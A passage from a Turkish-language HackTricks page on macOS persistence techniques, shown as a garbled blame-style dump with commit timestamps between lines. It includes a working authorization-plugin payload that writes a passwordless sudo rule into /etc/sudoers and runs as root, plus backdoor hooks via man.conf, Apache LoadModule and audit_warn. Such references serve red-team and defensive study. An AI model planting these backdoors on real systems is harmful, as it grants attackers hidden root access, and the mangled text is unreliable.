Kullanı cı oturum açtı ğı nda kalı cı lı ğı sürdürmek için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nası l oluşturacağı nı z hakkı nda daha fazla bilgi için önceki açı klamalara bakı n (ve dikkat edin, kötü yazı lmı ş bir eklenti sizi dı şarı da bı rakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-10 18:14:16 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-03-17 16:37:08 +00:00
**Birleşimi** yüklenmesi gereken konuma taşı yı n:
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-02-10 18:14:16 +00:00
Son olarak, bu Eklentiyi yüklemek için **kuralı ** ekleyin:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-03-17 16:37:08 +00:00
**`evaluate-mechanisms`** yetkilendirme çerçevesine dı ş bir mekanizmayı çağı rması gerekeceğini belirtecektir. Ayrı ca, ** `privileged` ** root tarafı ndan yürütülmesini sağlayacaktı r.
2023-11-03 11:03:53 +00:00
2024-02-23 16:46:32 +00:00
Şununla tetikleyin:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-02-13 00:51:21 +00:00
Ve sonra **personel grubunun sudo erişimi olmalı dı r** (`/etc/sudoers` dosyası nı okuyun doğrulamak için).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-10 18:14:16 +00:00
* Ancak root olmanı z ve kullanı cı nı n man kullanması gerekmektedir
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-02-13 00:51:21 +00:00
* Root gerekli
* **`/private/etc/man.conf`**: Her man kullanı ldı ğı nda
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
Yapı landı rma dosyası ** `/private/etc/man.conf` **, man belgelendirme dosyaları nı açarken kullanı lacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanı cı herhangi bir belgeyi okumak için man kullandı ğı nda bir arka kapı yürütülür.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Örneğin ** `/private/etc/man.conf` ** içinde ayarlanmı ş:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
Ve ardı ndan `/tmp/view` 'i şu şekilde oluşturun:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
* Kum havuzunu atlamak için faydalı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Ancak root olmanı z ve apache'nin çalı şı yor olması gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-23 16:46:32 +00:00
* Httpd'nin yetkilendirmeleri yok
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-02-23 16:46:32 +00:00
* Root gerekli
2024-02-10 18:14:16 +00:00
* Tetikleyici: Apache2 başlatı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
`/etc/apache2/httpd.conf` dosyası nda bir modülü yüklemek için aşağı daki gibi bir satı r ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-03-17 16:37:08 +00:00
Bu şekilde derlenmiş modülleriniz Apache tarafı ndan yüklenecektir. Tek yapmanı z gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni güvenilir bir sertifika eklemek** ve onunla **imzalamak** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Ardı ndan, gerektiğinde sunucunun başlatı lacağı ndan emin olmak için şunu çalı ştı rabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-02-23 16:46:32 +00:00
Dylb için kod örneği:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-10 18:14:16 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-02-10 18:14:16 +00:00
### BSM denetim çerçevesi
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için faydalı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-23 16:46:32 +00:00
* Ancak root olmanı z, auditd'nin çalı şı yor olması ve bir uyarı ya neden olmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-02-23 16:46:32 +00:00
* Root gerekli
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Auditd bir uyarı algı ladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Auditd bir uyarı algı ladı ğı nda ** `/etc/security/audit_warn` ** betiği **çalı ştı rı lı r** . Bu nedenle kendi yükünüzü ekleyebilirsiniz.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Başlangı ç Öğeleri
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-02-23 16:46:32 +00:00
**Bu kullanı m dı şı dı r, bu yüzden bu dizinlerde hiçbir şey bulunmamalı dı r.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalı dı r:
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
1. Bir **rc betiği** : Başlangı çta çalı ştı rı lan bir kabuk betiği.
2024-03-17 16:37:08 +00:00
2. **plist dosyası ** , özellikle `StartupParameters.plist` adı nda, çeşitli yapı landı rma ayarları nı içeren.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Başlangı ç işlemi tarafı ndan bunları tanı ması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyası nı n doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun.
2023-06-01 21:09:46 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:51:21 +00:00
{% endtab %}
2024-03-17 16:37:08 +00:00
{% tab title="superservisadı " %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-10 18:14:16 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-10 18:14:16 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-10 18:14:16 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2024-03-17 16:37:08 +00:00
Bu bileşeni macOS'ta bulamı yorum, daha fazla bilgi için writeup'a bakı n
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-03-17 16:37:08 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Apple tarafı ndan tanı tı lan **emond** , geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizması dı r, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalı cı lı k yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafı ndan fark edilmeyebilir.
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Varlı ğı ndan haberdar olanlar için, **emond** 'un kötüye kullanı mı nı tespit etmek kolaydı r. Bu hizmetin sistem için LaunchDaemon'ı , yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağı daki komut kullanı labilir:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
2024-02-23 16:46:32 +00:00
Yazı m: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **Tetikleyici**: XQuartz ile
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
#### Açı klama ve Sı zma
2023-09-28 20:05:35 +00:00
2024-02-23 16:46:32 +00:00
XQuartz artı k macOS'ta **kurulu değil** , bu yüzden daha fazla bilgi için yazı ya bakı n.
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-03-17 16:37:08 +00:00
Kext'i yüklemek bile kök olarak çok karmaşı ktı r, bu nedenle bunu kum havuzları ndan kaçmak veya kalı cı lı k için düşünmeyeceğim (sadece bir açı ğı z varsa)
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Bir KEXT'i başlangı ç öğesi olarak yüklemek için aşağı daki konumlardan birine **yüklü olması gerekir** :
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-03-17 16:37:08 +00:00
* OS X işletim sistemi tarafı ndan derlenmiş KEXT dosyaları .
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-02-10 18:14:16 +00:00
* 3. taraf yazı lı m tarafı ndan yüklenen KEXT dosyaları
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Şu anda yüklenmiş kext dosyaları nı listeleyebilirsiniz:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-03-17 16:37:08 +00:00
Daha fazla bilgi için [**çekirdek uzantı ları na bu bölüme bakı n** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist` 'den gelen `plist` bu ikiliyi kullanı yordu ve bir XPC servisini açı ğa çı karı yordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrı ldı ğı nda ikiliniz çağrı lacaktı .
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Artı k macOS'ta bunu bulamı yorum.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Servis çalı ştı rı ldı ğı nda (nadiren)
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve sömürü
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Bu betiği çalı ştı rmak pek yaygı n değil gibi görünüyor ve macOS'ta bile bulamadı m, bu yüzden daha fazla bilgi istiyorsanı z yazı ya bakı n.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
**Bu modern MacOS sürümlerinde çalı şmı yor**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-03-17 16:37:08 +00:00
Ayrı ca buraya **başlangı çta çalı ştı rı lacak komutlar** yerleştirmek mümkündür. Tipik bir rc.common betiği örneği:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-10 18:14:16 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-10 18:14:16 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-10 18:14:16 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-02-10 18:14:16 +00:00
## Kalı cı lı k teknikleri ve araçları
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
< details >
2024-02-13 00:51:21 +00:00
< summary > < strong > AWS hackleme konusunda sı fı rdan kahraman olmaya kadar öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-02-13 00:51:21 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-02-13 00:51:21 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'yi keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-03-17 16:37:08 +00:00
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )'da takip edin.**
2024-02-23 16:46:32 +00:00
* **Hacking püf noktaları nı zı paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2023-06-01 21:09:46 +00:00
< / details >